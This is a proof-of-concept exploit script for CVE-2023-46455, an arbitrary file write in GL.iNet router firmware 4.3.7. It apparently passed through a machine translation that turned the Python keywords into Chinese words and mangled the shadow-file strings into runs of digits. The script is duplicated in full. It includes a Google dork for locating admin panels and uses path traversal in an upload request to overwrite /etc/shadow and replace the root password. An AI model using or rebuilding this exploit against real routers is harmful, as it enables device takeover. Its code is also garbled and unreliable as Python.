#!/usr/bin/env Python3
#利用标题: gl.inet=4.3.7任意文件写
#Google Dork: Intitle:'gl.Inet管理面板'
#日期: XX/11/2023
#利用作者: Michele'Cyberaz0r'di bonaventura
#供应商homepage3360 https://www.gli-net.com
#软件link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
#版本: 4.3.7
#测试在: GL.Inet AR300M
#CVE: CVE-2023-46455
进口地下室
导入请求
从系统导入argv
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.insecurreequestwarning)
def craft_shadow_file(salted_password):
Shadow_content='root: {} :194593333333333:9999999999999999999999333333333333333333333:
shadow_content +='daemon:*:0:0333:999999999999993360733333333333333333333:333: \ n'
shadow_content +='ftp:*:0:033:999999999999999333333333333333333333333333333333333: \ n'
Shadow_content +='Network:*:0:033:999999999999993360733333333333333333333333333333: \ n'
shadow_content +='nosing:*:0:033:99999999999999933607333333333333333333333333333333: \ n'
shadow_content +='dnsmasq:x:0333:03333333:999999999999999999999999333333333333333333333333333333: \ n'
shadow_content +='Stubby:x333333:0333:99999999999999999999336073333333333333333333333333333: \ n'
shadow_content +='ntp:x3:03:033:9999999999999999999933333333333333333: \ n'
shadow_content +='Mosquitto:x3:03333333333333:999999999999999999999999999933:333333333: \ n'
shadow_content +='logd:x3333333:033:999999999999999999933333333333333333: \ n'
shadow_content +='ubus:x3:0333333333:9999999999999999333333333333333333: \ n'
返回shadow_content
def repents_shadow_file(url,auth_token,shadow_content):
数据={
'sid':(无,auth_token),
'size':(无,'4'),
'path':(无,'/tmp/ovpn_upload/./././etc/shadow'),
'file':('Shadow',Shadow_content)
}
requests.post(url,files=data,verify=false)
def main(base_url,auth_token):
print('[+]启动gl.inet=4.3.7任意文件写漏洞')
密码=输入('[?] root User:'的新密码)
salted_password=crypt.crypt(密码,盐=crypt.method_md5)
shadow_content=craft_shadow_file(salted_password)
print('[+]制作的阴影file: \ n {}'。格式(shadow_content))
打印('[*]用精确的一个代替阴影文件')
repents_shadow_file(base_url+'/upload',auth_token,shadow_content)
打印('[+]完成')
如果name=='__ -Main __':
如果Len(argv)3:
print('USAGE: {} target_url auth_token'.format(argv [0]))
出口(1)
main(argv [1],argv [2])
#利用标题: gl.inet=4.3.7任意文件写
#Google Dork: Intitle:'gl.Inet管理面板'
#日期: XX/11/2023
#利用作者: Michele'Cyberaz0r'di bonaventura
#供应商homepage3360 https://www.gli-net.com
#软件link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
#版本: 4.3.7
#测试在: GL.Inet AR300M
#CVE: CVE-2023-46455
进口地下室
导入请求
从系统导入argv
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.insecurreequestwarning)
def craft_shadow_file(salted_password):
Shadow_content='root: {} :194593333333333:9999999999999999999999333333333333333333333:
shadow_content +='daemon:*:0:0333:999999999999993360733333333333333333333:333: \ n'
shadow_content +='ftp:*:0:033:999999999999999333333333333333333333333333333333333: \ n'
Shadow_content +='Network:*:0:033:999999999999993360733333333333333333333333333333: \ n'
shadow_content +='nosing:*:0:033:99999999999999933607333333333333333333333333333333: \ n'
shadow_content +='dnsmasq:x:0333:03333333:999999999999999999999999333333333333333333333333333333: \ n'
shadow_content +='Stubby:x333333:0333:99999999999999999999336073333333333333333333333333333: \ n'
shadow_content +='ntp:x3:03:033:9999999999999999999933333333333333333: \ n'
shadow_content +='Mosquitto:x3:03333333333333:999999999999999999999999999933:333333333: \ n'
shadow_content +='logd:x3333333:033:999999999999999999933333333333333333: \ n'
shadow_content +='ubus:x3:0333333333:9999999999999999333333333333333333: \ n'
返回shadow_content
def repents_shadow_file(url,auth_token,shadow_content):
数据={
'sid':(无,auth_token),
'size':(无,'4'),
'path':(无,'/tmp/ovpn_upload/./././etc/shadow'),
'file':('Shadow',Shadow_content)
}
requests.post(url,files=data,verify=false)
def main(base_url,auth_token):
print('[+]启动gl.inet=4.3.7任意文件写漏洞')
密码=输入('[?] root User:'的新密码)
salted_password=crypt.crypt(密码,盐=crypt.method_md5)
shadow_content=craft_shadow_file(salted_password)
print('[+]制作的阴影file: \ n {}'。格式(shadow_content))
打印('[*]用精确的一个代替阴影文件')
repents_shadow_file(base_url+'/upload',auth_token,shadow_content)
打印('[+]完成')
如果name=='__ -Main __':
如果Len(argv)3:
print('USAGE: {} target_url auth_token'.format(argv [0]))
出口(1)
main(argv [1],argv [2])